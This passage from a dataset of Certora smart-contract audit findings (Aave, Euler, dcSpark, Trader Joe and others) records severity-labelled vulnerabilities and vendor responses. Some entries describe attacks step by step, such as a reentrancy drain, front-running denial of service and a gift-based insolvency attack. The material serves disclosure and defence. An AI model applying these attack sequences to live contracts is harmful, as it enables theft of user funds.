being more forgiving to protocols that make mistakes in constructing the array is possible. Mitigation/Fix: Fixed in PR #27", "html_url": "https://www.certora.com/wp-content/uploads/2023/05/Formal_Verification_Report_staticAToken-1.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Rules", "body": "Broken: A governance with a voting token that has 0 total supply will consider all current and future proposals to have reached quorum. quorumReachedEffect , proposalNotCreatedEffects , proposalInOneState \fA governance with a voting token that has 0 total supply will Issue: consider all current and future proposals to have reached quorum. Description: A voting token with 0 token supply will result in all proposals being considered as having reached quorum. This can be an issue in the case that the token has not been initialized/minted, but this case is not as interesting because there will be no tokens to vote with. A more interesting case can arise if the voting token's totalSupply is accidentally set to 0. This will allow all proposals to reach quorum and thus be executable as long as the vote is successful. This is an edge case that should never manifest as long as tokens withhold the invariant that total supply is equal to the sum of all Response: balances, as in this case no one will be able to vote for a proposal and the condition for a successful proposal will never be met (more for votes than against votes).", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/OZ-final-report.pdf", "labels": ["Certora", "Low"]}, {"title": "Rules", "body": "Broken: Description: TimelockController should not have additional executors beside the governor ( GovernorTimelockControl._execute() ) None An executor can execute a scheduled operation on the TimelockController by calling TimelockController.execute . If the operation was queued using GovernorTimelockControl.queue , this will cause GovernorTimelockControl.execute to revert as the proposal has already been executed by the TimelockController . (Same issue with calling TimelockController.cancel ) Agreed, but probably not any significant consequence. The only Response: consequence is that if the proposal is executed directly in the timelock, the \"ProposalExecuted\" event will never be emitted.", "html_url": "https://www.certora.com/wp-content/uploads/2022/10/OZ-final-report.pdf", "labels": ["Certora", "Low"]}, {"title": "Rules", "body": "Broken: Description: Protocol hijack by single validator transacationDoesNotExistsImpliesNotConfirmed In the removeTransaction() function, removing a transaction does not set all its confirmations to false. This leaves the transactionId that was removed as pre-confirmed, so a following transaction to that transactionId will be immediately executed (as it already has \fIssue: Protocol hijack by single validator enough votes). An attacker could leverage this to call upgradeContract() function and take control over the protocol The vulnerable removeTransaction function was removed in aa1a4. Asset value upgrade Calling upgradeAsset() on an asset from a low-value token to a high-value token would greatly increase the value a user already owns on that assetId . This improper increase would cause insolvency. The vulnerable updateAsset function was removed in 62e64. Double execution of same request dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Critical"]}, {"title": "Rules Broken:", "body": "Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Critical"]}, {"title": "Rules", "body": "Broken: A malicious validator could migrate a proposal that it wants to duplicate and not sign it on-chain. The malicious validator would call the migrate() when ( quorum - 1) signatures are obtained. This would enable them to sign the proposal off-chain and send it to the Description: other side, while the migrated proposal would also likely be signed and sent. Unless the migration process on this side is tracked very tightly by all good validators and the other side's bridge, it would be impossible to distinguish between such a malicious duplication and an actual case of two proposals with the same request. The vulnerable migrateProposal function was removed in b3179. dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Critical"]}, {"title": "DOS by a validator frontruns transactions", "body": "Rules Broken: nonDOS A malicious validator can voteForTransaction with the id of the future transaction he wants to prevent and then this transaction will not be able to be submitted. This is a DOS to any transaction that the malicious validator wants to prevent and he can even prevent his removal because he can prevent this transaction. The bridge contract is only deployed to networks where consensus is controlled by the same set of validators that controls the contract. For example, the Milkomeda C1 sidechain is run by the bridge contract validators operating under the IBFT consensus. Under honest majority assumption a corrupt validator will not be able to block their removal from the contract for instance because they can be ejected as a validator on the consensus level (bypassing any communication via EVM transactions). Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "High"]}, {"title": "Vote on canceled Unwrapping Proposal", "body": "Rules Broken: \fIssue: Vote on canceled Unwrapping Proposal Validators can vote on a canceled Unwrapping Proposal and may lead to its execution if the quorum is reached. This can happen because there is no way to distinguish between a canceled UPT and a confirmed UPT. The vulnerable migrateProposal function was removed in b3179. Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "High"]}, {"title": "DOS by Reset all voting on unwrappingProposals", "body": "Rules Broken: Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "High"]}, {"title": "Rules", "body": "Broken: Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Medium"]}, {"title": "unwrapping proposal getting stuck after quorum change", "body": "Rules Broken: Description: If an unwrapping proposal has vote count 'x' that is less than the quorum and the quorum is changed to be less than 'x', the \fIssue: unwrapping proposal getting stuck after quorum change unwrapping proposal will never be executed and will remain stucked because it is flaged as not closed but it's voting had reached the quorum dcSpark Response: Fixed by adding confirmUnwrappingProposalTransaction . to confirm unwrapping proposal transactions that it's votes had reached the quorum", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Low"]}, {"title": "Replace to zero validator", "body": "Rules Broken: zeroNotValidator The notnull modifier was missing in the replaceValidator function meaning a majority could add 0x0 as a validator by mistake. Fixed in 35a12. Description: dcSpark Response:", "html_url": "https://www.certora.com/wp-content/uploads/2023/01/Formal-Verification-Report-of-dcSpark-Sidechain-Bridge-2.pdf", "labels": ["Certora", "Low"]}, {"title": "Anyone can call flashLoan for a receiver [ERC20FlashMint]", "body": "Description: Anyone can call flashLoan for a receiver . An attacker can call flashLoan repeatedly on a receiver and drain its funds as the receiver contract has to pay back extra fee . Response: We've implemented EIP-3156. If a receiver pays a fee, they should validate the initiator in onFlashLoan", "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", "labels": ["Certora", "Medium"]}, {"title": "Votes.sol can only support token supply upto 2^224 - 1", "body": "[Checkpoints.sol push()] Description: Since Votes.sol uses Checkpoints.push , which casts the new value to uint224 , it is only able to support token supply up till type(uint224).max . If this is indeed the case, they should mention it in the comments as they have done it for ERC20Votes.sol Response: Votes is an abstraction of the mechanisme that was first introduced in ERC20Votes . Both are limited, by design, to uint224. We will improve Votes documentation to more clearly reflect that limitation.", "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", "labels": ["Certora", "Informational"]}, {"title": "Extra unnecessary require [Votes.sol getPastTotalSupply()]", "body": "Description: require(blockNumber < block.number) is checked twice when calling getPastTotalSupply() Response: The redundant require in getPastTotalSupply was indeed missed. The check should should indeed be removed from Votes.sol to save gas \fSeverity: Informational Issue: Checkpoint Overflow [ERC20Votes.sol, draft-ERC721Votes.sol] Description: Should the number of checkpoints go past 2^32 uint32 index used will no longer function properly resulting in a loss of votes. However, since the property that only one checkpoint per block number is held, this is not believed to be an issue in a realistic time frame The \"key\" art of the Checkpoints is uint32 that is currently used to store block numbers. Having it overflow would be a real issue, but we consider it very unlikelly to ever overflow, at list considering the current Response: chain design. Even if someone was to use block.timestamp based checkpoint to circumvent the unpredictable nature of block number on some L2s (which is a feature that our code doesn't provide out of the box), that overflow would happen in the year 2106.", "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", "labels": ["Certora", "Informational"]}, {"title": "Equal addresses of contract and msg.sender [ERC20Wrapper.sol", "body": "depositFor()/withdrawTo()] Description: Contract's address( address(this) ) can be equal to the msg.sender , thus, it's posssible to deposit/withdraw without limits The hability to mint ERC20Wrapper tokens without a counterpart, while apparently not serious, has the ability to create a serious inconsistency between the totalSupply and the amount of underlying token. This could confuse external observer. Additionnaly, extensions of the ERC20Wrapper might include functionnality that use these additionals \"unbacked\" tokens. We will add a check to prevent this. Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/11/final-report-3.pdf", "labels": ["Certora", "Low"]}, {"title": "Users can prevent their accounts from being liquidated", "body": "Description: Due to a require statement that is tested during liquidation, users can force all attempts to liquidate their accounts to fail and revert (details below). Response: This issue depends on a malicious asset being promoted out of borrow isolation. Euler has done the suggested hardening to block this speci\ufb01c attack, but governance should be aware the promotion of a malicious asset still has other serious security implications (see the Euler documentation), and assets must be thoroughly vetted before removing isolation or adding collateral factors. www.certora.com \fSeverity: High Issue: \u201cExact output\u201d swaps via Uniswap can leave Uniswap with allowance from Euler Description: The return value from IERC20.approve() is ignored in some cases, allowing to reset Uniswap\u2019s allowance from Euler, they don\u2019t check the return value, which according to the ERC-20 Token Standard, is a boolean value indicating whether the operation succeeded (details). Response: For this problem to occur, an honest token would have to have an approve() method that fails, and that failure must be indicated with a return value of false (instead of reverting). Although we aren\u2019t aware of any such tokens, the Swap module now uses safeApprove() everywhere, as suggested.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "High"]}, {"title": "Parameters for multihop swaps via Uniswap aren\u2019t validated", "body": "Description: The functions Swap.swapUniExactInput() and Swap.swapUniExactOutput() don\u2019t properly check params.path, making it possible to steal tokens from Euler (details below). Response: The Swap module depends on approvals being maintained properly. This attack requires approvals to be accidentally granted somehow (potentially as described in the previous issue). As suggested, Euler now makes additional checks on the Uniswap path to validate that the tokens in the path are as expected, although the primary security enforcement remains the approvals system. www.certora.com \fSeverity: Medium Issue: \u201cExact output\u201d swaps via Uniswap don\u2019t support all ERC-20 tokens Description: Many commonly used tokens do not return a boolean from IERC20.approve(); Euler methods will revert for these tokens (details). Response: This was also addressed by changing the Swap module to use safeApprove() everywhere (see above).", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "High"]}, {"title": "Parameters for swaps via 1inch aren\u2019t validated", "body": "Description: The function swap1Inch() doesn\u2019t check that params.payload matches params.underlyingIn, params.underlyingOut and params.amount. It also doesn\u2019t check that params.payload speci\ufb01es Euler\u2019s address as both the account who gives away tokens to 1inch and the account who receives the tokens from 1inch. Response: Acknowledged. 1inch has a variety of methods and is used as a black box. To allow the users to use all 1inch\u2019s functions, the code doesn\u2019t enforce any speci\ufb01c format for params.payload. It relies on the approval mechanism of ERC-20 tokens to prevent any malicious swaps. www.certora.com \fSeverity: Medium Issue: Exec.pTokenWrap() doesn\u2019t work with \u201cde\ufb02ationary\u201d ERC-20 tokens Description: Euler is intended to work with de\ufb02ationary tokens, but Exec.pTokenWrap() will fail with these tokens (details). Response: PTokens can only be created for collateral assets. One of the criteria for collateral assets is that their balances are \u201cwell behaved\u201d, which excludes de\ufb02ationary tokens.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "BaseLogic.decreaseBorrow can also increase debt and emit a", "body": "Borrow event Description: In some cases, rounding error can cause decreaseBorrow to increase the borrow instead (details). Response: Acknowledged. This is a necessary consequence of the design. In order for off-chain systems to properly track the debt owed by an account, Borrow and Repay events are issued. However, interest is accrued second-by-second, which obviously cannot be tracked in real-time with events. To solve this, when an account\u2019s borrow is re-assessed (which it must be in order to increase or decrease a borrow), the accrued interest must be logged. To reduce gas usage and simplify the implementation, what is actually logged is the change in the borrow. So a repay operation for X units will actually result in a Repay event of only X-I units, where I was the interest that accrued. If the repay amount X is in fact smaller than I, then (counter-intuitively) a Borrow event will be issued instead. www.certora.com \fSeverity: Low Issue: Missing initialization of the installer module address Description: A missing initialization results in higher gas costs in every call coming through the installer proxy (details). Response: This only has a gas impact when invoking the Installer module, which is a relatively rare operation and is paid for by governance when upgrading modules, and never by protocol users. Nevertheless, we\u2019ve added the initialisation as suggested.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "Medium"]}, {"title": "View functions in Markets have unde\ufb01ned behavior on invalid", "body": "input Description: Several view functions in Markets behave inconsistently when their input pair is an invalid underlying token pair Response: This was originally by design, however after discussion with Certora we\u2019ve decided to de\ufb01ne this behaviour for methods where applicable (in the nat spec documentation), and by reverting with error messages elsewhere.", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "Low"]}, {"title": "Code cleanliness and gas optimizations", "body": "Description: During our manual code review, we found several small details that could be improved (details). Response: We have implemented some of the suggested optimisations, where it had a measurable improvement and made sense to do so. www.certora.com \f", "html_url": "https://www.certora.com/wp-content/uploads/2022/02/EulerNov2021.pdf", "labels": ["Certora", "Recommendation"]}, {"title": "Unexpected revert of queued actions", "body": "\fIssue: Unexpected revert of queued actions When invoking _queue with a batch of transactions, an action hash is calculated using the keccak256 algorithm on the transaction parameters as the arguments, together with the executionTime , defined as $$block.timestamp + _ delay $$ Given two similiar actions Description: (same function and arguments) in two different blocks, it is possible that after the first one was queued in the first block, the second one will lead to revert since there is a check of queued actions duplication. The execution time could have the same value for both actions if the delay was shortened between these two blocks such that the sum of delay and time stamp is the same. The aforementioned situation leads to an unexpected revert for this function call. Property Violated: independentQueuedActions (Property #18) The community should be aware that any update of the executor parameters could affect the regular behaviour of the queued action AAVE Response: sets of the contract. Then, governance proposals that change the parameters of the executors should be carefully reviewed taking into the account the current state of the executor contract and its queued action sets.", "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", "labels": ["Certora", "Low"]}, {"title": "Impossible to queue two similar actions", "body": "Description: _queue() includes a check whether an action was previously queued but yet to be executed. It does that in order to prevent action duplication in the same block (same actions in different block are allowed). The check is done by mapping each action by its signature, arguments and execution time to a bytes32 hash and assigning each action hash a boolean (mapping) variable _queuedActions[bytes32] . The revert due to the action duplicity prevents any proposal which includes two similar transactions, even if not subsequent. In the case where the proposal wants to execute duplicated actions on AAVE Response: purpose the use of payload contracts is encouraged. Payload contracts help to make all actions of a sophisticated / more complicated proposal clearer and easier to get tracked.", "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", "labels": ["Certora", "Low"]}, {"title": "Unexpected action Occurrence upon low-level call", "body": "\fIssue: Unexpected action Occurrence upon low-level call Description: In the methods executeDelegateCall and _executeTransaction an explicit low-level call is being made on a given target address. The default behavior of such a call in case that the target address does not exist is returning success == true (see in solidity docs). In this case, if the proposal was to specify a target that does not exist the following consequences will apply: 1. The methods will return a success value while the no actual action is being executed. 2. An event will be emitted by execute with a new actionsSetId , the address of the execute caller, and the returndata which will be empty. While the Eth refunded to the executor can be restored by raising a proposal, the emitted event may be misleading - making observers think that the action indeed succeed. Recommendation: It might be worth to check whether the target contract exist by checking the address code size prior to executing. AAVE Response: There could be a case where an action wants to send some value to a pre-calculated address of a contract that will be deployed later on.", "html_url": "https://www.certora.com/wp-content/uploads/2022/07/Formal-Verification-Report-of-AAVE-L2-Bridge-July22.pdf", "labels": ["Certora", "Low"]}, {"title": "disableRecoveryMode() can be called while not in recovery mode", "body": "Severity: LOW Rules Broken: None \fIssue: disableRecoveryMode() can be called while not in recovery mode Description: When disableRecoveryMode() is called, it does not check whether or not the system is currently under recovery mode. Rather, it sets recovery mode to false and conducts subsequent updates. In that case the system behaves as if recovery mode was enabled and immediately disabled. It's an interesting finding, though it does Response: not changes the permissions model much, since disabling recovery mode is an extremely rare occurrence It does make for a weird footnote -------- -------- Issue: exiting in recovery mode is advantageous to users Severity: INFORMATIONAL Rules Broken: None Exiting in recovery mode is sometimes more advantageous over Description: exiting in non-recovery mode. We have investigated further to see if a join/exit sequence can be profitable or be used to manipulate prices, however we have not found a scenario for intentional manipulation Response: Aware of potentially advantageous exits in recovery mode. -------- -------- Issue: Denial of Service for increasing amplification factor Severity: INFORMATIONAL Rules Broken: amplificationUpdateCanFinish Description: The startAmplificationUpdate() function allows for value of endTime, the result is that the updating value will continue to be true stopping the system from ever allowing for more amplificationFactorUpdates Response: This issue can be ignored by using the stopAmplificationParameterUpdate() function", "html_url": "https://www.certora.com/wp-content/uploads/2022/11/Balancersept22.pdf", "labels": ["Certora", "Low"]}, {"title": "Zero minimum quorum", "body": "Description: In Executor.sol , it is possible to set the minimumQuorum to zero. In this case, the significance of a quorum becomes redundant. Response: A check was added in commit 0d9f679", "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", "labels": ["Certora", "Low"]}, {"title": "Zero or 100% proposition threshold", "body": "In Executor.sol , it is possible to set the propositionThreshold to zero. In this case, every proposal could be submitted with no Description: restriction whatsoever on the voting power of the submitter. The threshold could also be set to 100%, but smaller values could prevent almost any proposal from being submitted. Response: A check was added in commit 0d9f679", "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", "labels": ["Certora", "Low"]}, {"title": "Zero grace period", "body": "Description: In Executor.sol , it is possible to set the gracePeriod in the constructor to zero. If done on purpose or by accident, executing proposals' action sets will be impossible. Response: A check was added in commit 06d71de Informational Issue: Potential use of Level 1 proposal system as a voting proxy for Level 2 proposal system. \fIssue: Potential use of Level 1 proposal system as a voting proxy for Level 2 proposal system. The process of using the AaveEcosystemReserveV2 's voting power on a Level 2 proposal can be similarly repeated in the future. By raising a proposal on Level 1 to upgrade the reserve's implementation and bump the revision number, initialize will be available to be used once again to boost a new Level 2 proposal, or in a worse case, a dedicated functionality for this procedure could be added. Considering the new lower Level 2 conditions and the current AAVE Description: amount in reserve, such functionality, in effect, will allow passing a Level 2 proposal by passing a proposal on Level 1. Taking the current state of things, according to BGDLabs' proposal, the new 'YES' amount needed to pass a vote on Level 2 will be lowered to 1'040'000, while the AaveEcosystemReserveV2 has a voting power of 1'625'351 votes. This is well above the necessary 'YES' amount needed to pass a proposal, making even the differential 'YES/NO' barrier very hard to use as a veto mechanism. Aave Response: We don't think anybody was aware of this possibility before the proposal. We want to make a clear statement that it should not be something to normalize. Yes, it is clear that it becomes easier to \"cheat\" on future Level 2 votes, but there are multiple protections to avoid that (Guardian with cancel, etc.).", "html_url": "https://www.certora.com/wp-content/uploads/2022/09/Security-Review-of-Aave-Governance-V2-Update.pdf", "labels": ["Certora", "Low"]}, {"title": "User unable to receive LP tokens", "body": "\fIssue: User unable to receive LP tokens user.hasWithdrawnPair is set to true before the transfer of LP tokens. This results in a pairBalance(user) value of 0. This issue was fixed in commit 4804a0a9. Description: Trader Joe Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "Reentrancy attack tokens", "body": "if the event is stopped and we can call emergencyWithdraw() , we can drain the system and take all the eth. emergencyWithdraw() calls _safeTransferAVAX() which uses the low level call function to msg.sender with amount user.allocation . it sets user.allocation to 0 only after the transfer, but in the transfer, we can call emergencyWithdraw() again and take the user.allocation before it's set to 0 until we take all the money from the system. This issue was fixed in commit 578a4d5c. Description: Trader Joe Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "Create bad event DOS", "body": "anyone can create an event but there can only be a single event for each token. An attacker can create bad event for all the tokens and prevent anyone from creating an event. (bad event can be one with maxAllocation==0 ). This issue was fixed in commit c750e722. Description: Trader Joe Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "LaunchEvent createPair DOS", "body": "\fIssue: LaunchEvent createPair DOS An attacker can call factory.createPair(address(WAVAX), address(token)) before the LaunchEvent reaches phase three, causing LaunchEvent.createPair() to revert on require(factory.getPair(address(WAVAX), address(token)) == address(0)) . This will prevent anyone from creating a pair for the given token. This issue was fixed in commit 93b2fcc9. Description: Trader Joe Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "rJoeToken not initialized after setter", "body": "setRJoe(address _rJoe) only sets the rJoe state variable to _rJoe but doesn\u2019t call initialize() on it (the factory constructor also initializes the rJoe token). This issue was fixed in commit 93b2fcc9. Description: Trader Joe Response:", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "lastRewardTimestamp is not set in constructor", "body": "Description: Trader Joe Response: A user can transfer joe externally to the contract to make accRJoePerShare increase by a huge number in the first updatePool() . This issue was fixed in commit 93b2fcc9.", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "High"]}, {"title": "Anyone can call RocketJoeToken.initialize()", "body": "the initialize() function has no modifier and thus anyone can invoke it Description: before it is called by the RocketJoeFactory. This prevents RocketJoeFactory from being initialized or changing the rJoe state variable. \fIssue: Anyone can call RocketJoeToken.initialize() Trader Joe Response: We acknowledge this issue, but handle it by making sure the contract is initialized properly post-deployment", "html_url": "https://www.certora.com/wp-content/uploads/2022/03/Rocket-Joe-Report-2022-03-17.pdf", "labels": ["Certora", "Medium"]}, {"title": "DoS - incorrect handling when depositing underlying tokens", "body": "Description: When depositing an amount of underlying token that isn't a whole multiplication of the liquidity index to the vault, the contract may reach a dirty state that keeps reverting undesirably on every method that calls accrueYield() . This occurs due to an inaccurate increment of lastVaultBalance that doesn't correspond to the actual increment or decrement in the vault's assets following \fIssue: DoS - incorrect handling when depositing underlying tokens deposit() or mint() . In such cases, lastVaultBalance ends up being greater than ATOKEN.balanceof(vault) , which causes a revert when the new yield is being calculated. The state can be corrected by increasing the existing assets relative to lastVaultBalance . This may occur naturally due to the fact that the token accrue yield from the pool, but it can also be initiated by sending a gift to the contract. initial state: Consider a valid state where index = 10 Ray, totalSupply = 100 Ray, totalAsset = 101Ray . Action 1: A user deposits a sum of 91 underlying tokens through the contract. The first action invoked is accrual, which updates the state to lastVaultBalance = _AToken.balanceOf(vault), lastUpdated = now . Action 2: The amount of shares that the assets are worth is calculated through previewDeposit() . The simulation returns shares = (assets * totalSupply)/totalAssets ~= 90.099 , but after rounding down, the result will be shares = 90 . Action 3: From the amount of shares, the number of assets supplied to the pool is recalculated with _convertToAssets rounding up. The result of this calculation will be assets = (shares * totalAssets)/totalSupply = 90.9 = 91 . Action 4: The contract sends the 91 assets to the pool, which will mint 9 aToken with a worth of 90 underlying tokens. However, lastVaultBalance will be incremented by the full 91 assets that were passed to the function. Post State: At this point, the state of the contract is index = 10 Ray, totalSupply = 190 Ray, totalAsset = 101 + 90 = 191Ray, lastVaultBalance = 101 + 91 = 192 In this state, any call to accrueYield() will perform the calculation newYield = newVaultBalance - _s.lastVaultBalance which will immediately revert due to underflow. Example: Mitigation/Fix: Fixed in PR#70, merged in commit 32edfe6.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Medium"]}, {"title": "Description:", "body": "Grifting - an attacker can prevent other users from withdrawing for a duration of a block An attacker can prevent other users from withdrawing part of their funds, or otherwise force revert by gifting assets to the vault. A gift can be given by directly transferring tokens to the vault at a block where accrueYield() is called. By doing this, the malicious player takes lastVaultBalance out of sync with _AToken.balanceof(vault) . At this stage, the share-to-asset ratio \fIssue: Grifting - an attacker can prevent other users from withdrawing for a duration of a block used to determine the amount of assets a user deserves for redeeming their shares is using _AToken.balanceof(vault) . However, upon redeem() , the withdrawn amount is deducted from lastVaultBalance . This mismatch in balance values may lead to reverting cases when the victim tries to withdraw an amount greater than the recorded lastVaultBalance . The amount of money that the attacker needs to gift the system in order to execute the attack successfully is determined by the following formula (it does not take rounding into account): giftAmount > totalAsset(t0) * [1] where [(totalShares(t0)/BobSharesToRedeem) - 1] totalAssets(t0) is the _AToken.balanceOf(vault) before the gift, totalShares(t0) is the amount of shares in the vault before the gift, BobSharesToRedeem is the amount of shares the victim desires to redeem, and giftAmount is the amount of assets needed to be gifted to the system by the attacker. Simply put, the gift is proportional to the total amount of reserves in the vault prior to the gift. A simple assignment shows that even for a victim that holds a significant share of the pool which is 50%, the amount needing to be gifted is greater than the total reserves that the pool backs up. Note: This is only valid for the same block the gift was transferred. In the next accrual, lastVaultBalance is synced, and the user can withdraw their funds. initial state: Consider the valid state totalAssets = 200, totalShares = 200 , where the entire 200 shares belong to a victim. Step 1: An honest user deposits 1 asset, which grants them 1 share. This brings the state of the contract to totalAssets = 201, totalShares = 201, lastVaultBalance = 201, lastUpdated = now Step 2: The attacker gifts 3 assets to the vault and takes lastVaultBalance out of sync with the _AToken.balanceOf(vault) . This brings the state of the contract to totalAssets = 204, totalShares = 201, lastVaultBalance = 201 . Post State: If the victim tries to redeem all their shares, the share-to-asset ratio will evaluate their 200 shares as 200 * 204/201 = 202 assets. When the code gets to the point where it updates lastVaultBalance , the function will revert due to underflow: lastVaultBalance = 201 - 202 . Example: Mitigation/Fix: Fixed in PR#82 merged in commit 385b397. The following 3 issues are derived from the same sequence of initial states and transactions and are a result of the same vulnerability. \fSeverity: Medium Issue: Insolvency - lack of reserves to backup the vault's shares Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance property #15 - positiveSupply_imply_positiveAssets Given some initial state, an attacker can cause the protocol to deserve fees amounting to a larger value than its reserves. This means a state of insolvency. The coordinated transaction sequence described below relies on two things: 1. An optimization in the code that omits computation of the fees owed by protocol if such computation was already performed in the same block. 2. Although the vault uses the _AToken.balanceOf[vault] to track its reserves, it allows users to bypass the lastVaultBalance update (accrual) when gifting money to the protocol. The amount of money that the attacker needs to gift the system in order to execute the attack successfully is determined by the following formula (it does not take rounding into account): (totalAssets(t0) - Description: [2] where withdrawnAmount)/feePercentage <= giftAmount totalAssets(t0) is the _AToken.balanceOf(vault) before the gift, withdrawnAmount is the amount of assets being withdrawn by the attacker to cause the insolvency, feePercentage is the is the fee percentage charges by the vault, and giftAmount is the amount of assets needed to be gifted to the system by the attacker. During this griefing attack, the attacker loses a sum of: giftAmount * (1 - withdrawn_amount/totalAssets(t0)) . We can immediately see that the max loss to the attacker is the gift amount. [2] Example: The following scenario assumes that a 5% fee is deducted by the vault. initial state: Consider the valid state _accumulatedFees = 700, _AToken.balanceOf(vault) = 1700, lastVaultBalance = 1700, totalSupply = 1000 . From the definition, totalAssets() = 1700 - 700 = 1000 , the ratio of share-to-asset is 1:1 . Step 1: An attacker is gifting the vault 620 assets by a call to withdrawATokens() with the vault as the recipient. This updates the state of the contract to be: _accumulatedFees = 700, _AToken.balanceOf(vault) = 1700, lastVaultBalance = 1080, totalSupply = 380 , lastUpdated = now , which implies the share- to-assets ratio is now around 1:2.63 . Step 2: On the same block, the attacker, which holds an adequate amount of shares in the pool, withdraws 970 assets by redeeming ~369 shares. Due to optimization on the update block, totalAssets() is using a stored, outdated amount of fees deserved by the protocol instead of computing the value using lastVaultBalance . The recorded value \fIssue: Insolvency - lack of reserves to backup the vault's shares is totalSupply = 1700 - 700 = 1000 . Post State: Following step 2, the state of the contract is now: _accumulatedFees = 700, _AToken.balanceOf(vault) = 730, lastVaultBalance = 110, totalSupply = ~11 . In the next block ( time > now ), the function getClaimableFees() returns 700 + 0.05*(730 - 110) = 731 , while _AToken.balanceOf(vault) = 730 . A call to withdrawFees() with the entire reserve sum (or less) will cause insolvency, meaning shareholders have no assets to backup their shares. Note: this broken state is \"eternal\". Even without withdrawing fees, once _accrueYield() is being performed, the state variable _accumulatedFees will be updated to the \"bad\" value, 731. Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Medium"]}, {"title": "Complete DoS of the contract due to revert of totalAssets()", "body": "Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance Description: Following the scenario described in the issue above, the final state constitutes getClaimableFees() > _AToken.balanceOf(vault) , which, as we explained, will remain eternal once an accrual is being performed at one of the next blocks. This state results in a revert of any call to totalAssets() due to the underflow of the definition - ATOKEN.balanceOf(vault) - getClaimableFees() . This practically DoS the system completely since every function calls totalAssets() through convertToAssets or convertToShares . Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Medium"]}, {"title": "Misinformation - previewRedeem() returns a larger amount of", "body": "assets than an immediate redeem() Rules Broken: property #14 - getClaimableFees_LEQ_ATokenBalance Description: Following the scenario described in the previous issue, if instead of performing Step 2, an honest user calls previewRedeem() at the same block, the returned value of the preview will be calculated according to the broken ratio ( 1:2.63 shown in the example). If the user calls redeem() at the next block, the amount of assets transferred to them will be smaller than expected, according to a lower ratio ( 1:2.55 shown in the example). This is because upon \fIssue: Misinformation - previewRedeem() returns a larger amount of assets than an immediate redeem() redemption, _accrueYield() is called, which causes a reduction in totalAssets() by feePercentage * (ATOKEN.balanceOf(vault) - lastVaultBalance) . Mitigation/Fix: Fixed in PR#82 merged in commit 385b397.", "html_url": "https://www.certora.com/wp-content/uploads/2023/06/Aave-Vault-Formal-Verification-2.pdf", "labels": ["Certora", "Low"]}, {"title": "Loss of fees, overcharge of fees due to rounding", "body": "Rules Broken: property #13 - lastVaultBalance_OK Description: The storage variable _s.lastVaultBalance marks the portion of reserves for which the vault has already charged fees. In every call to accrueYield() , the vault charges fees only from the new yield accrued since the last fee charge - ATOKEN.balanceOf(Vault) - _s.lastVaultBalance . Thus, it is expected that after every accrual, _s.lastVaultBalance will be equal to ATOKEN.balanceOf(Vault) . However, the system may reach a mismatch between the two values when 